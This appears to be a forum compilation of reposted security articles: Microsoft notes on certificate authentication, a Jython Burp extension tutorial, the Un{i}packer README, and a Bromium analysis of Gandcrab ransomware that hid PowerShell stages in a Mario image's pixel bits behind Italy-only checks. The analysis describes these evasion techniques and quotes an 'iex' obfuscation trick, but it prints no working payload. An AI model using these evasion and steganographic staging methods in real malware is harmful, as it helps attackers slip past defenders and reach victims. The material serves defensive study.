processes, and services that enable an organization to secure its communications and business transactions. The ability of a PKI to secure communications and business transactions is based on the exchange of digital certificates between authenticated users and trusted resources. A digital certificate is an electronic document that contains information about the entity it belongs to, the entity it was issued by, a unique serial number or some other unique identification, issuance and expiration dates, and a digital fingerprint. Authentication is the process of determining if a remote host can be trusted. To establish its trustworthiness, the remote host must provide an acceptable authentication certificate. Remote hosts establish their trustworthiness by obtaining a certificate from a certification authority (CA). The CA can, in turn, have certification from a higher authority, which creates a chain of trust. To determine whether a certificate is trustworthy, an application must determine the identity of the root CA, and then determine if it is trustworthy. Similarly, the remote host or local computer must determine if the certificate presented by the user or application is authentic. The certificate presented by the user through the LSA and SSPI is evaluated for authenticity on the local computer for local logon, on the network, or on the domain through the certificate stores in Active Directory. To produce a certificate, authentication data passes through hash algorithms, such as Secure Hash Algorithm 1 (SHA1), to produce a message digest. The message digest is then digitally signed by using the sender's private key to prove that the message digest was produced by the sender. Note SHA1 is the default in Windows 7 and Windows Vista, but was changed to SHA2 in Windows 8. Smart card authentication Smart card technology is an example of certificate-based authentication. Logging on to a network with a smart card provides a strong form of authentication because it uses cryptography-based identification and proof of possession when authenticating a user to a domain. Active Directory Certificate Services (AD CS) provides the cryptographic-based identification through the issuance of a logon certificate for each smart card. For information about smart card authentication, see the Windows Smart Card Technical Reference. Virtual smart card technology was introduced in Windows 8. It stores the smart card's certificate in the PC, and then protects it by using the device's tamper-proof Trusted Platform Module (TPM) security chip. In this way, the PC actually becomes the smart card which must receive the user's PIN in order to be authenticated. Remote and wireless authentication Remote and wireless network authentication is another technology that uses certificates for authentication. The Internet Authentication Service (IAS) and virtual private network servers use Extensible Authentication Protocol-Transport Level Security (EAP-TLS), Protected Extensible Authentication Protocol (PEAP), or Internet Protocol security (IPsec) to perform certificate-based authentication for many types of network access, including virtual private network (VPN) and wireless connections. For information about certificate-based authentication in networking, see Network access authentication and certificates. Sursa: https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication
-
February 7, 2019 Jake Burp Extension Python Tutorial – Encode/Decode/Hash This post provides step by step instructions for writing a Burp extension using Python. This is different from my previous extension writing tutorial, where we only worked in the message tab, and I will be moving a bit more quickly than in that post. Here is what this post will cover: Importing required modules and accessing the Burp Created a tab for the extension Writing the GUI text fields and buttons Writing functions that occur when you click the buttons This extension will have its own tab and GUI components, not to mention will be a little more useful than the extension written previously. Here is what we are going to be making: This is inspired from a tool of the same name included in OWASP’s ZAP. Let’s get started. Setup Create a folder where you’ll store your extensions – I named mine extensions Download the Jython standalone JAR file – Place into the extensions folder Download exceptions_fix.py to the extensions folder – this will make debugging easier Configure Burp to use Jython – Extender > Options > Python Environment > Select file Create a new file (encodeDecodeHash.py) in your favorite text editor (save it in your extensions folder) Importing required modules and accessing the Extender API, and implementing the debugger Let’s write some code: from burp import IBurpExtender, ITab from javax import swing from java.awt import BorderLayout import sys try: from exceptions_fix import FixBurpExceptions except ImportError: pass The IBurpExtender module is required for all extensions, while ITab will register the tab in Burp and send Burp the UI that we will define. The swing library is what is used to build GUI applications with Jython, and we’ll be using layout management, specifically BorderLayout from the java.awt library. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine. I’ll be adding more imports when we start writing encoding method, but this is enough for now. This next code snippet will register our extension and create a new tab that will contain the UI. If you’re following along type or paste this code after the imports: class BurpExtender(IBurpExtender, ITab): def registerExtenderCallbacks(self, callbacks): # Required for easier debugging: # https://github.com/securityMB/burp-exceptions sys.stdout = callbacks.getStdout() # Keep a reference to our callbacks object self.callbacks = callbacks # Set our extension name self.callbacks.setExtensionName("Encode/Decode/Hash") # Create the tab self.tab = swing.JPanel(BorderLayout()) # Add the custom tab to Burp's UI callbacks.addSuiteTab(self) return # Implement ITab def getTabCaption(self): """Return the text to be displayed on the tab""" return "Encode/Decode/Hash" def getUiComponent(self): """Passes the UI to burp""" return self.tab try: FixBurpExceptions() except: pass This class implements IBurpExtender, which is required for all extensions and must be called BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to create the tab in Burp. ITab requires two methods, getTabCaption and getUiComponent, where getTabCaption returns the name of the tab, and getUiComponent returns the UI itself (self.tab), which is created in the line self.tab=swing.JPanel(). FixBurpExceptions is called at the end of the script just in case we have an error (Thanks @SecurityMB!). Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > encodeDecodeHash.py The extension should load and you should have a new tab: This tab doesn’t have any features yet, so let’s build the skeleton of the UI. Before I go into the code, I’ll model out the GUI so that it will hopefully make a little more sense. There are different layout managers that you can use in Java, and I chose to use BorderLayout in the main tab, so when I place panels on the tab, I can specify that they should go in relative positions, such as North or Center. Within the two panels I created boxes that contain other boxes. I did this so that text areas and labels would appear on different lines, but stay in the general area that I wanted them to. There are probably better ways to do this, but here is the model: Onto the code: class BurpExtender(IBurpExtender, ITab): ... self.tab = swing.Jpanel(BorderLayout()) # Create the text area at the top of the tab textPanel = swing.JPanel() # Create the label for the text area boxVertical = swing.Box.createVerticalBox() boxHorizontal = swing.Box.createHorizontalBox() textLabel = swing.JLabel("Text to be encoded/decoded/hashed") boxHorizontal.add(textLabel) boxVertical.add(boxHorizontal) # Create the text area itself boxHorizontal = swing.Box.createHorizontalBox() self.textArea = swing.JTextArea('', 6, 100) self.textArea.setLineWrap(True) boxHorizontal.add(self.textArea) boxVertical.add(boxHorizontal) # Add the text label and area to the text panel textPanel.add(boxVertical) # Add the text panel to the top of the main tab self.tab.add(textPanel, BorderLayout.NORTH) # Add the custom tab to Burp's UI callbacks.addSuiteTab(self) return ... A bit of explanation. The code (textPanel = swing.JPanel()) creates a new panel that will contain the text label and text area. Then, a box is created (boxVertical), that will be used to hold other boxes (boxHorizontal) that contain the text label and area. The horizontal boxes get added to the vertical box (boxVertical.add(boxHorizontal)), the vertical box is added to the panel we created (textPanel.add(boxVertical)), and that panel is added to the main tab panel at the top (BorderLayout.NORTH). Save the code, unload/reload the extension and this is what you should see: Now we’ll add the tabs: self.tab.add(textPanel, BorderLayout.NORTH) # Created a tabbed pane to go in the center of the # main tab, below the text area tabbedPane = swing.JTabbedPane() self.tab.add("Center", tabbedPane); # First tab firstTab = swing.JPanel() firstTab.layout = BorderLayout() tabbedPane.addTab("Encode", firstTab) # Second tab secondTab = swing.JPanel() secondTab.layout = BorderLayout() tabbedPane.addTab("Decode", secondTab) # Third tab thirdTab = swing.JPanel() thirdTab.layout = BorderLayout() tabbedPane.addTab("Hash", thirdTab) # Add the custom tab to Burp's UI callbacks.addSuiteTab(self) return ... After you add this code and save the file, you should have your tabs: To keep this post short, we’re only going to build out the Encode tab, but the steps will be the same for each tab. # First tab firstTab = swing.JPanel() firstTab.layout = BorderLayout() tabbedPane.addTab("Encode", firstTab) # Button for first tab buttonPanel = swing.JPanel() buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode)) firstTab.add(buttonPanel, "North") # Panel for the encoders. Each label and text field # will go in horizontal boxes which will then go in # a vertical box encPanel = swing.JPanel() boxVertical = swing.Box.createVerticalBox() boxHorizontal = swing.Box.createHorizontalBox() self.b64EncField = swing.JTextField('', 75) boxHorizontal.add(swing.JLabel(" Base64 :")) boxHorizontal.add(self.b64EncField) boxVertical.add(boxHorizontal) boxHorizontal = swing.Box.createHorizontalBox() self.urlEncField = swing.JTextField('', 75) boxHorizontal.add(swing.JLabel(" URL :")) boxHorizontal.add(self.urlEncField) boxVertical.add(boxHorizontal) boxHorizontal = swing.Box.createHorizontalBox() self.asciiHexEncField = swing.JTextField('', 75) boxHorizontal.add(swing.JLabel(" Ascii Hex :")) boxHorizontal.add(self.asciiHexEncField) boxVertical.add(boxHorizontal) boxHorizontal = swing.Box.createHorizontalBox() self.htmlEncField = swing.JTextField('', 75) boxHorizontal.add(swing.JLabel(" HTML :")) boxHorizontal.add(self.htmlEncField) boxVertical.add(boxHorizontal) boxHorizontal = swing.Box.createHorizontalBox() self.jsEncField = swing.JTextField('', 75) boxHorizontal.add(swing.JLabel(" JavaScript:")) boxHorizontal.add(self.jsEncField) boxVertical.add(boxHorizontal) # Add the vertical box to the Encode tab firstTab.add(boxVertical, "Center") # Second tab ... # Third tab ... # Add the custom tab to Burp's UI callbacks.addSuiteTab(self) return # Implement the functions from the button clicks def encode(self, event): pass # Implement ITab def getTabCaption(self): First we create a panel (buttonPanel) to hold our button, and then we add a button to the panel and specify the argument actionPerformed=self.encode, where self.encode is a method that will run when the button is clicked. We define encode at the end of the code snippet, and currently have it doing nothing. We’ll implement the encoders later. Now that our panel has a button, we add that to the first tab of the panel (firstTab.add(buttonPanel, “North”)). Next we create a separate panel for the encoder text labels and fields. Similar to before, we create a big box (boxVertical), and then create a horizontal box (boxHorizontal) for each pair of labels/textfields, which then get added to the big box. Finally that big box gets added to the tab. After saving the file and unloading/reloading, this is what the program should look like: The button might not seem to do anything, but it is actually executing the encode method we defined (which does nothing). Lets fix that method and have it encode the user input: … try: from exceptions_fix import FixBurpExceptions except ImportError: pass import base64 import urllib import binascii import cgi import json ... # Add the custom tab to Burp's UI callbacks.addSuiteTab(self) return # Implement the functions from the button clicks def encode(self, event): """Encodes the user input and writes the encoded value to text fields. """ self.b64EncField.text = base64.b64encode(self.textArea.text) self.urlEncField.text = urllib.quote(self.textArea.text) self.asciiHexEncField.text = binascii.hexlify(self.textArea.text) self.htmlEncField.text = cgi.escape(self.textArea.text) self.jsEncField.text = json.dumps(self.textArea.text) # Implement ITab def getTabCaption(self): … The encode method sets the text on the encode fields we created by encoding whatever the user types in the top text area (self.textArea.text). Once you save and unload/reload the file you should have full encoding functionality. And that’s it! The process is the same for the other tabs, and if you’re interested in the whole extension, it is available on my GitHub. Hopefully this post makes developing your own extensions a little easier. It was definitely a good learning experience for me. Feedback is welcome. Sursa: https://laconicwolf.com/2019/02/07/burp-extension-python-tutorial-encode-decode-hash/
-
Un{i}packer Unpacking PE files using Unicorn Engine The usage of runtime packers by malware authors is very common, as it is a technique that helps to hinder analysis. Furthermore, packers are a challenge for antivirus products, as they make it impossible to identify malware by signatures or hashes alone. In order to be able to analyze a packed malware sample, it is often required to unpack the binary. Usually this means, that the analyst will have to manually unpack the binary by using dynamic analysis techniques (Tools: OllyDbg, x64Dbg). There are also some approaches for automatic unpacking, but they are all only available for Windows. Therefore when targeting a packed Windows malware the analyst will require a Windows machine. The goal of our project is to enable platform independent automatic unpacking by using emulation. Supported packers UPX: Cross-platform, open source packer ASPack: Advanced commercial packer with a high compression ratio PEtite: Freeware packer, similar to ASPack FSG: Freeware, fast to unpack Usage Install r2 and YARA pip3 install -r requirements.txt python3 unipacker.py For detailed instructions on how to use Un{i}packer please refer to the Wiki. Additionally, all of the shell commands are documented. To access this information, use the help command Sursa: https://github.com/unipacker/unipacker
-
Super Mario Oddity A few days ago, I was investigating a sample piece of malware where our static analysis flagged a spreadsheet as containing a Trojan but the behavioural trace showed very little happening. This is quite common for various reasons, but one of the quirks of how we work at Bromium is that we care about getting malware to run and fully detonate within our secure containers. This enables our customers to understand the threats they are facing, and to take any other remedial action necessary without any risk to their endpoints or company assets. Running their malware actually makes our customers more secure. A quick look at the macros in this spreadsheet revealed that it was coded to exit Excel immediately if the machine was not based in Italy (country 39): We often see malware samples failing to run based on location, but usually they look for signs of being in Russia. This is widely believed to help groups based there avoid prosecution by local authorities, but of course leads to false-flag usage too. My interest was piqued, so I modified the document to remove this check so it would open and then I could see if we could get the malware to detonate. The usual social engineering prompt is displayed on opening: Roughly translated as ‘It’s not possible to view the preview online. To view the content, you need to click on “enable edit” and “enable content”’. After modifying the spreadsheet, the malware detonates inside one of our containers. We see the usual macro-based launch of cmd.exe and PowerShell with obfuscated arguments. This is very run-of-the-mill, but these arguments stood out as not being from one of the usual obfuscators we see, so I was determined to dig a bit deeper: (truncated very early) As a side note, malware authors actually spend quite a lot of effort on marketing, including often mentioning specific researchers by name within samples. This happens because of the nature of modern Platform Criminality – malware is licensed to affiliates for distribution, and in order to attract the most interest and best prices malware authors need to make a name for themselves. It’s not clear whether or not this sample was actually trying to encourage me to investigate or not, but sometimes huge clues like this are put into samples on purpose. The binary strings are just a list of encoded characters, so this was easily reconstructed to the following code, which looks like PowerShell: At this point, things seemed particularly interesting. My PowerShell skills are basic, but it looks like this sample is trying to download an image and extract some data from the pixel values. There was only one person to turn to – our PowerShell evangelist and polymath Tim Howes, who was also intrigued. Meanwhile, I pulled the images, with each looking roughly like this: (I’ve slightly resized and blurred). Steganographic techniques such as using the low-bits from pixel values are clearly not new, but it’s rare that we see this kind of thing in malspam; even at Bromium, where we normally see slightly more advanced malware that evaded the rest of the endpoint security stack. It’s also pretty hard to defend against this kind of traffic at the firewall. Now over to Tim to make sense of the PowerShell plumbing. A manual re-shuffle to de-obfuscate the code and you can see more clearly the bitwise operation on the blue and green pixels. Since only the lower 4 bits of blue and green have been used, this won’t make a big difference to the image when looked at by a human, but it is quite trivial to hide some code within. Recasting the above code to a different form makes slightly more sense of where in the image we’re extracting from: This equates to the area in blue at the top of the image here: The above code is finding the next level of code from the blue and green channel from pixels in a small region of the image. The lower bits of each pixel are used as adjustments to these and yield minimal differences to the perceived image. Running this presents yet more heavily obfuscated PowerShell: We can work through this by noticing that there is another large string (base64 encoded) sliced/diced into 40 parts. This can be reassembled: Looking at the above, we see they are using a .net decompressor; so employing our own local variables to step through each part yields: This gives a resultant stream of yet more PowerShell: We execute the “-split” operations on the large string and then convert to a string: We now see that $str is still more mildly obfuscated PowerShell: There’s another slice/dice to form “iex” (the alias for invoke-expression in PowerShell): ($env:comspec)[4,15,25] == 'iex'. The manually de-obfuscated PowerShell reveals the final level which is dropping and executing from a site, but only if the output of ‘get-culture’ on the machine matches “ita” (for example if the culture is Italian, which matches the earlier targeting attempts). Thanks Tim! We downloaded the samples from the above, including from an Italy-based VPN and were given various samples of Gandcrab ransomware. Gandcrab has seen phenomenal success last year, initially being distributed by exploit kits and becoming especially prevalent in the Far East. I am generally skeptical of malware attribution claims, and the implications of so much obfuscated code hidden within a picture of Mario and checking for an Italian victim are not obvious; for all we know the fictional Wario may be as likely to be responsible as any geopolitical actor. However, a future avenue for investigation here is to examine the encoded affiliate IDs, and compare against samples we have collected from other sources to see if there are patterns for whom this affiliate is targeting. Another key forensic advantage that we have at Bromium is that we partition our isolation at the granularity of a user task (in this instance, the opening of a piece of malspam from an email). This means we can associate each sample with lots of forensic metadata about the task the user was performing, simply because they are from the same container. Mining our set of Gandcrab samples to track the behaviour of their affiliates is definitely a task for another day. Whether or not they are based in a targeted country, our users can open malicious emails safely and transparently with Bromium as our hardware-enforced containers securely isolate the malware from the host system (our princess is in another castle). IOCs: Original Spreadsheet: 3849381059d9e8bbcc59c253d2cbe1c92f7e1f1992b752d396e349892f2bb0e7 Mario image: 2726cd6796774521d03a5f949e10707424800882955686c886d944d2b2a61e0 Other Mario image: 0c8c27f06a0acb976b8f12ff6749497d4ce1f7a98c2a161b0a9eb956e6955362 Ultimate EXEs: ec2a7e8da04bc4e60652d6f7cc2d41ec68ff900d39fc244cc3b5a29c42acb7a4 630b6f15c770716268c539c5558152168004657beee740e73ee9966d6de1753f February 8, 2019 • Category: Threats • By: Matthew Rowen Sursa: https://www.bromium.com/gandcrab-ransomware-code-hiding-in-image/
-
- 1
-